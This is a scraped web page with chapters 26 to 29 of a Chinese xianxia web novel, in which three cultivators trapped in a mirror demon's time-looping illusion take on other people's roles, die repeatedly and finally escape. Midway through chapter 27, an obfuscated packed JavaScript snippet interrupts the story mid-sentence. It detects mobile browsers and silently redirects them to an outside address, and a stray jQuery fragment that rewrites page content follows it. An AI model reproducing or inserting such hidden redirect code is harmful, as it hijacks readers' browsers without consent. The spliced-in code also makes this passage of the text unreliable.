第七次与蛇妖踏入逃亡之路,果不其然又被术士和男人拦在半路。萧唤月努努嘴,示意蛇妖去对付男人。 趁男人被蛇妖拖住的间隙,萧唤月与术士沟通:“他给你多少钱收妖,我给你双倍行吗?” 术士不为所动,当她不存在似的,扭头加入了战局,要去杀妖。 萧唤月手脚并用跳上术士的后背,试图锁死他的行动,却被术士一个过肩摔扔了出去。 这蛮不讲理的NPC! 几个回合后蛇妖伤重倒地,萧唤月也被砍伤,肩膀汩汩冒血。 术士准备给蛇妖最后一击,男人在一旁拍手叫好:“这对奸夫□□就该杀!” 萧唤月挡在蛇妖身前,破罐破摔地往地上一坐。 经过前七次的试验可知,武斗几乎没有胜算,不如试试别的法子。 她清了清嗓子,张嘴就是胡说八道: “相公你误会我了,什么奸夫不奸夫,他是我兄长呀。你是他的妹夫,怎么能联合外人来打杀他。” 男人大怒:“你当我是傻的?你是人他是妖,他怎么会是你兄长。” “其实我也是妖,怕吓着你,没敢说。” 男人不大的脑仁开始思考,露出迷惑的表情。 不知为何术士竟也停了手,像雕像一样立在旁边。 见男人有所迟疑,萧唤月大喜,趁热打铁道:“兄妹情深,我实在不忍心看他被术士打死,等我出城一趟,将他送去深山老林,就回来与你接着过日子,好不好?” 蛇妖抓住她的衣袖:“你......不必......” 她扭头抱住蛇妖:“别逞强了兄长,你听我说,我相公是个好人,不如就把实情告诉了他。” 男人:“你说你是他妹妹,那你变蛇给我看看。” 萧唤月还是那句话:“我怕吓着你。” “我不怕。” “那就是心虚。”男人哼了一声,“我先将你身后的妖杀了再说。” “不可以,他真的是我亲哥!” 男人阴阳怪气:“谁知道是亲哥哥还是情哥哥。” “当然是亲哥,你仔细看,我跟他长得不像吗?” 男人细细端详后:“一点儿都不像!” 认定了这狡猾的娘子是在撒谎骗他,男人举起利斧向前劈砍,下一刻心口却被洞穿。他步伐一滞,难以置信地低头看向自己胸口的血洞。 随即男人摇摇晃晃地倒了下去,斧头哐当一声落在地上,蔓延出一片血迹。 ......死了? 萧唤月被这突如其来的喜讯冲击得脑袋空白了一瞬。 “啧。”术士看着面前的尸体,暗悔自己冲动行事。他不该杀了男人,这有可能会影响到他的任务。 萧唤月目露茫然地看向术士,一时没想通这个NPC为什么会突然出手杀掉另一个NPC。男人不是术士的雇主吗?他们之间应该没有利益冲突才对。 术士问她:“你们真是兄妹吗?” “嗯......嗯。” “很感人。”术士冷酷道,“不过,既然你也是妖,黄泉路上,与你哥做个伴吧。” 听见这话,萧唤月差点气得吐血:......所以忙活半天,还是要被杀? 27. 第 27 章 蛇妖爬过来挡住了萧唤月,他看着术士道:“小宁不是我妹妹,刚才是她骗那男人说的谎话,你要杀妖,就杀我好了。” “好啊。”术士一剑捅了过去。 萧唤月伸手去拦。“等等!” 剑尖一抖,在她指间留下一道深可见骨的伤。 然而割伤她之后那把剑攻势未减,精准地捅进了蛇妖的心脏,后者已无力躲避,坐在原地,深深看了萧唤月一眼,最后变回蛇身原形,再没了声息。 萧唤月心情有点复杂,但转念一想,出城路上的阻碍已彻底被拔除,她该高兴才是。 术士的剑尖无力地垂下,他惊愕地看着她:“你是......萧唤月?” 被NPC叫出真名,萧唤月心头一震,看向那术士。她心里琢磨着,难道幻境又有了新花样,这次不搞角色扮演了? “我是白曜。”那术士说。 “谁?”萧唤月傻眼。 “没骗你。”他有些急切地蹲下来,“我也被拉入幻境,顶着术士的身份,要完成任务才能获得出城的令牌。” 萧唤月抓住盲点:“出城需要令牌?” “不,只是因为这座城的城主不喜术士道法之流,我的身份敏感,出城会被核查......况且那守门的认识我,没有令牌无法蒙混过关。” 听他说得这么头头是道,萧唤月信了大半。似乎白曜也被设定所累,不得不遵守一些莫名其妙的规则。 萧唤月打量着眼前衣着朴素的小术士,他肩上挂一串铜钱,面无表情,眼皮耷拉着,看起来跟白曜完全是两模两样。 她想了想:“你刚才没有认出我,是因为我顶着小宁的样子么?” “是,杀了蛇妖之后,你在我眼里才恢复本貌。” 莫非是因为重要NPC都死了,所以她不用再维持小宁的人设? 萧唤月突然想到什么,摸了摸自己腰间,很好,玄铁剑也回来了。 白曜走到蛇尸身边,利落地剖出了它的心脏。 萧唤月:“你这是?” “我的任务是杀妖,需要拿信物去官府换令牌。”他把那颗心脏放进袋子里系好,“我问过了,牙齿和眼睛都不够格,头颅和心脏可以,妖丹也行。” “......这样啊。” 白曜看了一眼她手上的伤口:“刚才为什么替它挡?” “看他挺惨。” 只是在那一刻而已——她很微妙地动了恻隐之心,觉得蛇妖没必要死,下意识伸手阻拦了一下。 “别对幻境里的家伙投入情绪。”白曜提醒,“他们是假的。” 萧唤月:“我明白。” 白曜似笑非笑地瞥了她一眼。 在他看来,萧唤月如果能再狠点心,把蛇妖利用到极致,说不定能更快完成任务。 比如,试着吞下它的妖丹,那样的话蛇妖的功力或许能归她所有——即便这份馈赠只存在于幻境中。 显然萧唤月并没有想到这一点,她已经背过身去,不再关注蛇妖的尸体。 大张的蛇口中滚出来一枚珠子,正是妖丹,失了活体生气蕴养,珠子渐渐暗淡下去,开始出现裂纹。 再过一会儿,妖丹就该失去效用了。 但白曜没有提醒萧唤月,淡淡移开了目光。 卸磨杀驴这种做法,的确与正派作风相悖,摆到明面上就不好看了。 “我的任务没结束,城西还有只妖没能杀了,你先出城去。” “万一我出去之后回到迷宫,跟你们走散了怎么办。”萧唤月打起精神,“而且言隐很可能也在城里,不知道顶着谁的身份。我们一起行动吧,能跟他汇合最好。” “可以。” “那只妖很棘手吗?” “嗯,每次都在那里失败。” “这是你第几次循环?” “第七次。” “跟我一样。” 萧唤月很可耻地感到有点庆幸,如果白曜提前完成任务离开了,那她面对的大概就会是真正的NPC术士,万万再没有交涉的可能。 白曜拿出一个长得像罗盘的东西,根据指针的朝向,领着萧唤月往城西方向走。 据他所说,进入幻境之后这罗盘就出现在他身上,很好用,可以用来追踪妖气。 看来是术士身份自带的道具了,萧唤月心想,怪不得她和蛇妖次次都能被找到。 一路上两人大部分时候都保持沉默。 与白曜独处,萧唤月本以为自己会不自在,然而事到临头居然并没有感到多尴尬,大概因为白曜现在顶着术士的皮囊,跟她长得一点也不像,那层模糊的血缘感便随之淡去了。 经过城中心的府衙时,白曜顺手把装着蛇心的袋子扔了进去。长得像假人的官员一把接住袋子,冲白曜一笑:“祝您顺利。” 那笑容看得萧唤月起鸡皮疙瘩。 她绕到白曜另一侧,好奇道:“城西那只是什么妖啊?” “犬妖。” 萧唤月立即联想到一些凶恶龇牙的犬类野兽形象。 刚想再问问更多细节,她眼风一斜,忽然瞥到了白曜手腕上的一道伤疤。 那道疤被袖子遮住大半,但仔细看还是能看得出来,与周围皮肤有着明显色差。 注意到萧唤月在观察他的手腕,白曜撩起衣袖把伤疤完全露了出来,展示在她面前。 伤疤形状很奇特,看起来像是不规则的齿痕。 白曜:“早已结痂了,是术士以前受的旧伤。” 萧唤月没再多想,点了点头,关注点重新回到城西的犬妖身上。 “我现在不用再扮演小宁了,”她指了指自己腰间的玄铁剑,意思是她已经恢复到正常战力水平,“我们俩一起,说不定能打过犬妖。” 白曜勾了勾嘴角,似乎想要露出个微笑,但那抹笑意又轻又凉,转瞬即逝。当萧唤月抬眼时,他又变成那副云淡风轻的模样:“走吧。” 来到一座气派的府宅前,白曜停住脚步:“就是这里。” 萧唤月感叹:“挺大的宅子嘛,妖怪居然住这儿?。” “这家人被犬妖占据了住所,雇我来除妖。” 萧唤月拔剑:“让它尝尝我的厉害......” “别掉以轻心,里面除了犬妖,还有个受伤的老屠夫。” “老人?”萧唤月一愣,“是被抓去当人质的?” “不,犬妖占据这间宅子就是为了能更好地照顾他,一人一妖,感情很好。” “那我尽量不伤着他。” “我的意思是,你小心点,别被那老家伙杀了。”白曜眸光冷冽,“他虽是凡人,但不简单。” 萧唤月还没来得及深究这句话的含义,白曜已带头走入宅内,熟练地像是进了自己家。 她小心跟上,步子迈得又轻又慢,提防着可能出现的攻击。 左拐右拐,到了园林月门外,白曜横剑:“要来了。” 话音刚落,一道白色影子伴随着一阵气势汹汹的犬啸席卷而至。萧唤月见那道影子冲自己扑过来了,连忙后退格挡。 没想到那东西反应速度快得惊人,被她挡住之后反而就势扒住了她,顺着手臂继续往她身上爬。 这毛茸茸的触感......萧唤月面无表情地低头,对上一双黑豆似的眼睛。 白土松? 愣神的工夫,萧唤月的手已经在它背上撸了两把,又忽然回过神来,意识到这就是犬妖。 犬妖没有攻击她,只是把爪子搭在她肩上,好像想要把她往外推。 萧唤月迷惑:它在干什么? 白曜:“它想赶你出去。” 萧唤月拎着犬妖的后颈想要甩开它,后者却出奇灵活,落地后一个翻身跳跃,又扒上了她的肩膀。 “离开!”白土松说人话了,声线很像暴躁小学生,瞬间就显得没那么可爱。 萧唤月:“才不。” 私闯民宅是不太好......问题是这也不是它家啊!想到这一点,萧唤月理直气壮起来,剑尖对准了它。 她看向白曜:“你站着干什么,怎么不动手。” “离你更近,你帮我把它解决了吧。” 萧唤月一滞:“你不是说它很棘手吗,怎么它......”看起来毫无还手之力,难道有陷阱? “它速度极快,攻击基本都能躲过去,我很难逮到它。” 想到术士手上的那道咬痕,萧唤月悟了。 大概是小时候被狗追着咬过,术士的记忆影响了幻境,给犬妖上了速度增益效果。 萧唤月竟然有点感同身受。 术士跑不过犬妖,大概就像小宁打不过胡须大汉一样,是记忆主人攻克不了的心理阴影。 况且白曜仍被框在“术士”的设定里,战力大大削弱。 无论是凡人还是修士,进了这儿都得套上别人的壳子,遵循幻境中的逻辑行动,何尝不是另一种意义上的人人平等。 “而且犬妖还有个强有力的帮手。” 白曜没有放松警惕,依旧注视着月门。 他知道老屠夫也在里面,每次来这儿的时候,一人一狗都在园林里那棵大树下待着。这次老屠夫迟迟不露面,是想打他们一个措手不及? 萧唤月像准备切猪肉那样把剑放在犬妖脖子旁来回比划,但始终没有下手。 犬妖没有感知到杀气,依旧赖在她身上,哼唧两声,龇牙威胁道:“快点离开,这里不属于你们!” 萧唤月指出:“也不属于你。” 懒得再说废话,她五指成爪,一掌拍在狗子的天灵盖上......然后用力摸了两把。 比棉花还柔软的触感,暖乎乎毛茸茸...... 她看向狗子的目光不自觉变得柔和,转瞬间又清醒过来,抱起它举在半空,远离了自己:狡猾的妖类,竟然试图以这副模样博取怜爱,她不可能心软! 想起来这毕竟是白曜的任务,她把狗递过去:“快把它解决掉,然后我跟你一起对付那个‘强有力的帮手’。” “那老屠夫不可能眼睁睁看着犬妖被杀,说不定马上就窜出来了。你动手,我来防备。” “你来。” “你来。” 推脱来推脱去,萧唤月干脆直接把狗塞他怀里,然后自己退得远远的:“杀蛇的时候不是挺利索的么。” 白曜挑了挑眉:“说得也是。” 他的手指缓缓收紧,正要扼住狗妖的咽喉。后者先一步感知到杀气,敏锐地从他怀中挣脱。 白曜无奈:“又是这样,比泥鳅还滑。” 四爪着地,狗妖浑身的毛都竖起来,伏低身子尾巴下垂,作攻击姿态。 白曜抽剑刺向它,未能近身,剑身却被另一道攻击打碎。 他扔掉光秃秃的剑柄,并没有感到很意外。 “帮手来了。”他对萧唤月说。 老屠夫站在二人面前,拎着把杀猪刀一言不发,捞起地上的狗往怀里一揣。他不明白这个术士为什么如此执着,简直就是打不死的小强。 屠夫露出不耐烦的神色。他丝毫没有沟通欲望,只想赶紧解决了眼前这人,继续回去干自己的事。 他将狗子放进月门后,拖着杀猪刀走向白曜,眼中杀机涌动。 形势危急,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14379744|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白曜手无寸铁,萧唤月赶紧从储物戒中摸出之前打造的那柄苗刀,扔给他:“用这个!” 屠夫听见她的声音猛地回头:“怎么是你?” “......我怎么。”萧唤月谨慎地看着他。 “我还以为这里只有我一个人!”屠夫的声音兴奋起来,“这么多天,只有狗陪着我。” 萧唤月茫然,这话什么意思,他认识她吗?一副好像跟她很熟的语气。 “我是言隐啊。”他偏头看她,“这地方真怪,在你眼里我变样了是不是?” 萧唤月眼中的茫然之意瞬间蒸发,脸上写满了“怎会如此”。感觉被镜妖戏耍,她很恼怒。 言隐:“等等,我把这神棍杀了再同你说话......不对,你怎么给他扔刀?他可不是好人,总想杀我的狗。” 萧唤月:“他是白曜。” “哦......哦?” 言隐把杀猪刀往肩上一扛,猛地贴近了白曜,对着他的脸细细研究半晌。 他得出结论:“完全不像,而且好弱。” 白曜青筋一跳:“是吗,你也跟之前两模两样。”更难听的话他忍住了,总之有眼睛的人都不会觉得言隐现在的样子好看。 “你的身份是杀猪老头?”萧唤月感到了淡淡的荒谬。 言隐身上甚至还缠着裹伤布,设定是身受重伤,却依旧能上蹿下跳,接连七次打败一个正值青春壮年的术士。 这合理吗?她再次产生了这样的疑问。 “是杀猪老头,但隐世高人。”言隐想要扯开裹伤布给她看,“这应该是老头仇家干的,伤口里混杂了魔气妖气,普通人怕是没机会受这种伤。” 萧唤月顿感心酸:幻境里只有她被削弱成了普通人! 白土松看见月门外的几人忽然收了攻势聊起天来,有些不解。不过它觉得现在这状况应该是打不起来了,于是屁颠颠跑过来,在言隐腿边蹭了蹭。 言隐摸了摸狗脑袋:“这是老头养的狗,开了灵智,但太复杂的话它听不懂,修为很浅。” 白曜:“你很喜欢它?” “还行。”言隐眼中升起警惕,“说起来它又没惹你,你老杀它干嘛?这都第七次了。” 萧唤月:“原来你也是第七次啊,前六次你死在谁手里?” “我没死在谁手里啊。” “难道不是死了才会重新开启循环?” 萧唤月意识到两人之间信息差太大,立马在脑中组织语言,简要概述了一番自己的经历。 说起自己被砍死好几次的时候,她拳头都硬了。 言隐听得愣住:“可惜你不知道我在这里,不然我可以帮你收拾那个男的,还有那条蛇。” 其实他也被削弱了,完全没有感知到萧唤月的气息,以为幻境里只有自己一个人。 而且他身上还带着老头的伤,动一动就撕裂。伤口流血基本没停过,跟不要钱的番茄酱似的猛猛往外流,持续消减生命值。 “我没有被杀死过。”言隐回忆道,“有个神棍......那时候我不知道是白曜,他总在白天时候闯入我家,要杀我的狗。天亮了七次,他就来了七次。有两次他被我杀了,剩下的几次,是打着打着天色黑下来,他莫名消失不见。” 白曜在旁边幽幽道:“天一黑,我就出现在城东的位置,一切又会重新来过。” 言隐:“但你天亮又跑过来,很烦人。” 萧唤月觉得自己天塌了,原来死亡不是循环开启的信号,天黑才是。 但每次她根本等不到天黑就死掉了! 她问白曜:“天亮的时间能持续多久?” “大概两个时辰。” “夜晚呢?” “一刻钟。” “那我们要抓紧时间在天亮的时候完成任务。”萧唤月看着躲在言隐身后的犬妖,有点不忍心。 但她还是对言隐道,“你的狗必须死。” 白曜:“没错,这是我的任务。” 他三言两语给言隐解释了杀狗的原因,不杀就拿不到令牌,没有令牌就无法出城。 言隐放下杀猪刀,盯着地面,似乎在思考。 “你出城做什么?” 白曜:“难道你没有想过出城?城门很可能是幻境的出口。” “想过,但我伤口很痛,如果要进行长途跋涉,需要运功调息止止血,”言隐怒道,“每次你不分青红皂白进来就开打,哪有给我养伤的机会。” 白曜反唇相讥:“你不也是不说话只打架。” “我又不知道你真实身份,跟你有什么话好说。” “动动脑子不是坏事。” “你难道就认出来我了?” 萧唤月站在他们中间,好言相劝:“两位大哥,现在不是吵架的时候。” 白曜平静道:“我没想吵架,就事论事而已。” 言隐:“呵呵。” 萧唤月无力道:“任务......” 白曜:“别担心,还有时间。” 看向那只瑟瑟发抖的白土松,白曜进入正题:“把你的狗交给我。” 犬妖有些不安地缩在言隐身后,它听懂了面前这个术士是要对它不利,并且它可能不是他的对手。 然而它并没有乱了阵脚,单论速度,它比术士快得多。直接逃跑的话,两个术士都追不上它。 再者,眼下还没到非逃不可的地步。 因为言隐在这里,犬妖理所当然地认为,主人可以保护它。 就算主人打不过术士,它也不会丢下主人独自跑掉。 正如主人永远不会抛弃它一样。 28. 第 28 章 白曜收集完信物,从官府处领取到了出城的令牌。 天色还亮着,三人一齐往城门方向走。 言隐稍慢了半步,走在最后,脸上没什么表情。 萧唤月放缓速度与他并肩:“言隐,你心情不好么。” “一般。” “那狗很可爱,但它是假的。” “我知道。” “出去之后,你可以养一只真的狗。” 言隐顿了一下,硬邦邦道:“我不喜欢狗,也不准备养。” 白曜走在最前面,回头道:“别伤感了,抓紧赶路。” 言隐一噎,目光不善地望过去,眼神里明晃晃写着“关你什么事”。 白曜接收到这不友善的信号,没有多作反应,只淡然一笑回过头去,意在以宽容的姿态应对一位不懂事的晚辈。 言隐的杀猪刀在地上划出一道长痕。他加快速度,三两步走到了白曜前面的位置。 “你刚才说谁伤感了?” “我没说名字。” 像一拳打在棉花上,言隐气结。 看见白曜腰间令牌,他眼中的嘲讽之色一闪而过:“里云宫的少主好像没我想象得厉害......如果不是我帮忙,你逮不住那狗吧?” 白曜:“对啊,多谢你。” “......” 萧唤月看出言隐有意找茬,似乎因犬妖的死亡而迁怒于白曜。但他平常并不是那么拎不清的人,犬妖的死亡是必然的,大家都明白这一点。 她拉了拉言隐的袖口,示意他凑过来一点。 “暂时别跟他计较了吧。”萧唤月眨了眨眼,传音给言隐,“看他不爽的话,等出去再找他算账。” “......好。” 言隐的确不喜欢白曜,不只是因为那只狗。 但感觉到萧唤月似乎更偏心自己,言隐心情好了些,决定听她的,不跟白曜计较。 “你伤口好像裂开了。”白曜看向言隐腹部的裹伤布,“毕竟是老人家的身体,不要逞强。” “我好得很。” “没关系,如果你是因为伤势原因想休息一会儿,我们会等你。” 对于白曜的惺惺作态,言隐以沉默回报。他加快脚步,用实际行动证明他不需要白曜的迁就。 幸好路上再没碰见什么变故,三人赶在天黑前来到了城门口。 白曜向守卫出示了自己的令牌,守卫点点头,示意他可以走了。 萧唤月松了口气:“我还以为不会这么简单。” 毕竟她和白曜想要出城历经了千难万阻,按理说言隐也会有对应的“路障”。 出乎意料,大门打开得很顺利。 外面风沙弥漫,土地干裂,明明只一门之隔,与城内却好似两个世界。 虽然看起来环境恶劣得要命,但萧唤月不甚在意,迎着风沙,迫不及待就要踏出门去。 风沙中忽然钻出一只秃鹫,萧唤月连忙闪身避开,否则险些就要被它啄瞎眼睛。 这种地方出现秃鹫显然匪夷所思,而且面前这只体型大得不正常,萧唤月当即警惕起来。 随后几十只秃鹫跟着冲进城门,每一只翼展都在五米以上,打头那只居然是其中体型最小的。 它们的叫声沙哑凄厉,相当骇人。 几十只秃鹫同时发出声音,几乎要震破萧唤月的耳膜,还是立体环绕的那种。 她不得不捂住耳朵抵御这声波攻击。 “哈哈,老头,你放松警惕了!”秃鹫大叫。 果然不是普通的鸟,它们会说人话!萧唤月挥剑劈砍,斩下了几片碎羽。 可秃鹫飞得又高又快,数量还多,剑势难以企及。 它们的翅膀能扇起劲风,爪子利过钢刀匕首,同时具有极佳的动态视力。 萧唤月当即判断,这是目前为止在幻境中遇到过的最棘手的拦路对象。 “不乖乖躲起来,竟还想着出城?”秃鹫发出令人牙酸的沙哑笑声,“老头,今天就是你死期!” 萧唤月并没有被攻击,她猜它们针对的是言隐。 可她不能看清言隐那边的情况,视野中尽是纷落的羽毛和扑棱的大翅膀,猛禽身上散发出的浓烈臭味让她差点窒息,恨不得失去嗅觉。 想起秃鹫喜食腐尸,萧唤月怀疑这是尸臭味,立马把嘴闭得紧紧的,免得当场吐出来。 “受伤没有?”白曜不知什么时候摸索到这边,在混乱的局势中艰难伸手,抓住了她。 “没事,言隐呢?” “不知道。” 萧唤月继续挥剑,砍中了两只秃鹫。但它们的羽毛又重又厚,是很好的防御护甲,并没有因这一剑受到太大影响。 秃鹫的黄色眼珠一转,锐利的目光扫视过来,在萧唤月身上停留了片刻。 然而秃鹫们没有回过头来报复萧唤月,仍致力于围攻屠夫。 它们目标一致,牢记着那老头是它们真正的仇人,他不仅杀掉了秃鹫族中的幼崽,还剥下羽毛皮肉和妖丹去换取资源,这种行为不可饶恕! 在这场混乱的打斗中萧唤月被拦在了外围,只能闻到空气中逐渐浓厚的血腥味儿。 有秃鹫负了伤,无法再战,但也没有逃走,而是谨慎地飞到更高的位置,负责观察战况局势,寻找敌人可能露出的破绽,及时将信息传达给战场中心的同伴。 萧唤月面露担忧:“它们有备而来,训练有素,言隐一个人很难对付,我们得帮他。” 她试着往里面挤,剑尖朝前,为自己开路。 一只秃鹫看出她的意图,立即调转方向俯冲下来,开始攻击她。 尖利的爪子险之又险地在萧唤月鼻梁前擦过,若非她躲得快,眼睛已经被剜出来了。 白曜手上拿着萧唤月之前给他的苗刀,但这柄武器的锋利程度远不如蓄风枪,说不定连秃鹫的爪子都比不过。 “它们不愿让你我加入战场,成为屠夫的助力。”白曜似乎没什么战意,拉着萧唤月走到更远的位置。“这次没防备,被它们占了先机。就当试错了,下次再帮你那同门打回来,行吗?” 这人已经想重开了!萧唤月无言。 白曜如果会打游戏,一定是那种逆风就点投降的类型。 “不行。”萧唤月拒绝了白曜的提议,又开始往秃鹫堆里挤。 她无可避免地负了伤,小臂和脸颊都被秃鹫的爪子刮破,勉力护住要害,终于挤到中间,看见了屠夫的身影。 走过去与言隐背对背抵御攻势,她大喊:“你还有力气吗?” 言隐:“我有一边眼睛掉下来了!你帮我找找。” “眼睛?!”萧唤月惊恐。 “......算了,捡回来估计也不能用了。”言隐差点忘记现在用的不是自己的身体, 萧唤月想回头,一只手又按着她脑袋转了回去,“别看我,专心打怪。” 利爪与刀锋相击,力道震得萧唤月手臂发麻。她的确不该分心,否则会被秃鹫抓住破绽趁机攻击。 一小会儿的工夫,萧唤月已经快要支撑不住,伤口越来越多,一身衣裙都快被撕成布条了,这还是绝大部分攻击都落在言隐身上的结果。 白曜不知何时也挤进来,脸上的表情一言难尽:“萧唤月,你还真够义气......” 忽然,为首的那只秃鹫发出一声高亢有力的嘶叫,似是某种撤退信号,剩下的秃鹫一哄而散,盘旋着飞上天空,在风沙中远去了。 萧唤月急忙转身:“言隐?” “嗯。” “你......嘶。” 看到的景象太惊悚,萧唤月倒抽了口气。 面前的人身上几乎没有一处完好的地方,血淋淋地半蹲在地上,全靠那把满是缺口的杀猪刀才撑着没倒下。 出气长进气短,言隐看起来已经奄奄一息。脖子上一道深可见骨的伤口令他连抬起头都做不到,还能说话已经是个奇迹。 除了脖子和胸口,其他部位的伤口大都不致命,显然秃鹫不愿给他个痛快,直到泄够了愤才肯给予他致命一击。 萧唤月把他扶住:“你好像要死了。” “不是好像。”他纠正,“我真的要死了。” 虽然在幻境里不存在真正的死亡,最差的情况不过就是重来一次,但痛感却是实打实的,言隐很不甘心: “这具身体已经是强弩之末,我马上......” 一句话还没说完,他人就断气了。 萧唤月傻眼。 “幸好有他挡着,不然你也得死一次。”白曜看了眼言隐的尸体,“正好天也快黑了,等重来吧。” 萧唤月泄了气一样往地上一坐:“好,累死我了。” 已近黄昏,西风斜阳。 白曜最后对她道:“你在房间里等着,我们来找你。” 话音刚落,铺天盖地的夜色将两人都包裹住,白曜的脸从萧唤月眼前消失。 她再次变成了小宁,独自坐在昏暗的房间里。 倒没有很慌张。 这幻境是由小宁,术士,老屠夫三个人的记忆共同搭建出来的,属于小宁的那部分可比屠夫那部分无害得多。 比起城门口秃鹫环飞那阵仗,跟胡须大汉打架都只能算热身了。 萧唤月想起白曜让她在房间里等着,便没再多作行动,干脆闭眼躺下,趁机小憩了片刻。 没过多久,门被打开,白曜说:“可以走了。” 她从床上弹起来:“这么快,你令牌拿到了吗?” “拿到了。” 算算这已经是第八次循环,白曜杀妖剖心逐渐熟练,高效率地完成了自己的任务。 言隐在白曜身后探出头:“萧唤月!” 老屠夫死前的惨烈状况还印在萧唤月脑子里挥之不去,如今看到这人完好无损,她倍感欣慰,走过去拍了拍他的肩膀:“这次记得保护好眼睛。” “先不说这个。”言隐好似全然不在意自己刚死过一次,眼里闪烁着兴奋的光,“快来,我给你带了东西。” 萧唤月出去一看,门外居然躺着个被打断了腿的胡须大汉,正是小宁那便宜相公。 言隐挽起袖子:“本来要把他杀掉的,但想想还是留给你比较好。” “......谢谢你。” 萧唤月眼睁睁看着言隐像拖麻袋一样把男人拖到她身边,莫名幻视那种叼着死老鼠回家向主人邀功的猫。 被打断了腿的胡须大汉现在确实像老鼠一样狼狈,全然没了嚣张气焰。 “小宁,我们和离。”男人趴在她的鞋边涕泪横流,什么面子都不要了,“我放你走,你想去找谁就去找谁,我不管你了,还不行吗?” 萧唤月似笑非笑地看着他。 五分钟后,他们向着城门口方向出发了。 三人身后,胡须大汉横尸街头。来来往往的路人们看见了他的尸体,脸上的表情却没有发生任何变化,好像路边出现尸体是再正常不过的事。 白曜:“这次时间很充足,我们要计划一下吗?” “好啊。”萧唤月开始复盘,“上次打得太乱了,这次我们要吸取教训。首先不能被冲散,三个人背靠背,可以同时应对来自三个方向的攻击。” 言隐:“同意。” “然后,保护好眼睛 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这里已经离城门很有一段距离了,白曜观察着前方不甚明晰的景色,忽然精神一振:“西南方向!” 剩下两人将目光投向那处,没看出什么所以然。 白曜:“那是苦心谷,镜妖诞生的地方。” 幻境复刻了现实中的场景,一草一木都完美还原,与真正的苦心谷一模一样。 但在更往前的地方,景色就开始模糊,风沙颗粒也变得很粗,像没渲染好的游戏内景。 白曜:“这应该就是幻境边界了,我们去苦心谷那边。” 萧唤月:“跳下去?” 白曜:“跳。” 这样的高度,掉在水面跟掉在水泥地上没区别。 但他们在这幻境里死了太多次,对死亡的恐惧似乎在不知不觉中减淡了。 疼痛并不能令他们停止试错,即便跳下去后果可能是摔得东一块西一块,也没人提出异议。 三人移动到谷边,毫不犹豫地纵身一跃。下饺子一样,一个接一个,掉进了谷中那片巨大的深潭。 事实证明他们的选择是正确的,跳进水里的那一刻,熟悉的白光再度袭来,三人回到了镜子迷宫中,眼前是蛛网般蔓延交织的岔路。 萧唤月长舒了一口气。 幸好他们是一起进的,配合得不错。如果单枪匹马,不知要循环到第几十次才能出来,对心志薄弱的人而言可谓是地狱了。 他们在短暂的休息过后继续前进,始终选择最右边的岔路。 白曜边走边说:“死亡和痛楚能将人击溃,美梦和温柔乡会让人沉沦。” 言隐:“哇,大诗人。” “......”白曜握着长枪的手紧了紧,“我是说,不要被幻境中的东西影响,这很重要。” “好的。” 白曜看了言隐一眼,问他:“你拜入玉胥宗多久了。” 言隐沉思:“快一年吧......不对,好像已经一年了。” “打架的时候,看起来可并不像新手。”白曜状似无意道,“竟然才入门一年?” “我之前是散修。” “方便问问师从何处吗。” “不方便。” 萧唤月看出白曜的试探之意,心里一紧,感觉再问下去要出事。言隐的身份可经不起细究,嘴又是个没把门的。 “你看起来也不像老手。”言隐诚实道,“我还以为,少主从小到大被喂了那么多天材地宝,应该会更厉害才对。” 说这话时他完全发自真心,其实没有在阴阳怪气。 但白曜冷笑一声停下了步子,似乎终于放弃了维持友善的假面,露出想要跟他打一架的表情。 这时候闹内讧可不好,看到了纷争开始的苗头,萧唤月顿感不妙。她假装在观察路况,不动声色地插入到两人中间,试图隔绝他们的视线。 然而她错估了身高差距,白曜和言隐并不受影响,在她头顶以上的位置接着对话。 言隐望着白曜疑惑道:“你怎么不走了?” “我......” 萧唤月抢答:“他想歇歇脚。” 白曜被堵了话,垂眼看她,有点无奈的样子。 萧唤月嘴角一扯,干巴巴地笑了一声,心里想的是千万不要在这里打起来,要打去练舞室......演武场打。 白曜忽然眉眼一扬:“你又在和稀泥了......妹妹。” 萧唤月刚想狡辩自己没有和稀泥,只是在维护队伍团结友爱的氛围,但话末“妹妹”两个字让她愣了一瞬。她沉默下来,不知该说什么好。 本以为装傻到底会是他们的默契,现在搞这么一出是干什么?说得那么大声,她甚至不能装作没听见。 心中生出几分埋怨,她想白曜莫不是记性不好,忘记了命师说过的话——兄妹缘份不断掉可是会招致厄运的! 那预言是真是假萧唤月无心深究,反正事已至此,大家当陌生人当到底不就好了吗。 但仅仅因为一句称呼就撕破脸皮似乎也没必要,现在大家都是一根绳上的蚂蚱。萧唤月决定装成从容模样就此揭过......不过她得硬着头皮提醒一句,以后最好不要再这么叫她,她姓萧不姓白。 出乎意料的是,在她开口前,白曜就道歉了:“对不起,我失言了,月姑娘。” 萧唤月那句提醒的话刚到嘴边又吞了回去。既然白曜心里有数,她就懒得再多说了,“......嗯,继续往前走吧。” 29. 第 29 章 之后又接连几次掉入幻境,萧唤月体验到了风水轮流转的滋味。 最爽的一次是她变成了老虎,言隐变成丛林猫,白曜变成麻雀。她雄赳赳气昂昂地走在队伍最前面,耍了一把森林之王的威风。 不过也由此可见,被镜妖吸收的生灵着实不在少数,简直快要能凑出个动物图鉴大全。 接二连三地进行高强度脑力体力活动,身体不会累不会饿,但内心的疲惫感却难以消除,萧唤月觉得自己已经在迷宫里走了很久很久。 刚开始还期待着下一个拐角处说不定就是出口,到了现在,她基本已经不抱希望,只期待幻境外的邓相许能快点搬来救兵。 走着走着,她灵光一闪——镜妖既然能利用别人的记忆搭建幻境,那岂不是也能提取到他们仨的记忆? 事实证明她的推论不无道理,因为没过多久,萧唤月就见识到了镜妖的新手段。 前方场景一变,像放电影那样,一块半透明的大屏幕挡在路中间。随着他们前进,那块屏幕也在不断后退,始终与他们保持着一个足够合适的距离,令他们能毫不费力将屏幕上播放的画面内容尽数收入眼中,可谓最佳观影位。 